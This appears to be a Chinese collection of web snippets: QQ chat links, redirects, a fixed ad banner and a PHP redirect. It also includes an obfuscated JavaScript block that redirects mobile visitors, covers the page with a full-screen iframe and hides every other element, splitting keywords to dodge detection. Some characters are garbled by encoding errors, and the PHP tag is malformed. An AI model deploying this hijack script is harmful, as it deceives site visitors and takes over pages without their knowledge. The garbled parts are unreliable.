PC端:QQ在線客服鏈接代碼
<a href="tencent://message/?uin=1239300678&Site=sc.chinaz.com&Menu=yes">tencent咨詢</a>
PC端手機(jī)端通吃:QQ在線客服鏈接代碼
<a >wpa咨詢</a>
移動(dòng)端H5 QQ群在線客服鏈接代碼
<a href="mqqwpa://im/chat?chat_type=wpa&uin=1752044940&version=1&src_type=web&web_src=www.qq.com">報(bào)名咨詢</a>
<a href="mqqapi://card/show_pslcard?src_type=internal&version=1&uin=18863883&card_type=group&source=external">QQ群</a>
meta標(biāo)簽5秒跳轉(zhuǎn)
<meta http-equiv="refresh" content="5;url=http://www.qq.com">
a標(biāo)簽去掉下劃線
a{ text-decoration:none}
固定底部廣告
<center><div style="position:fixed; bottom:0;width=100%;height=15%;">
<a href="/" target="_blank"><img src="{maccms:path_tpl}images/qq1.gif" width="100%" height="75px"><img src="{maccms:path_tpl}images/qq1.gif" width="100%" height="75px"></a>
</div></center>
iframe js調(diào)用嵌套(全局覆蓋)
if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile|Nokia|Symbian|Phone|Linux armv71|Windows CE)/i))) {
var url = 'http://www.baidu.com';
location.replace(url);
} else {
var src = '<div id="showcl" style="height: 100%; width: 100%; background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
eval("do" + "cu" + "ment.wr" + "ite('" + src + "');");
try {
setInterval(function() {
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcl") {
document.body.children[i].style.display = "non" + "e"
}
} catch (e) {}
}
}, 100)
} catch (e) {}
}
//PHP跳轉(zhuǎn)代碼
< ?php
//重定向?yàn)g覽器
header("Location: http://www.qq.com");
//確保重定向后枯途,后續(xù)代碼不會(huì)被執(zhí)行
exit;
?>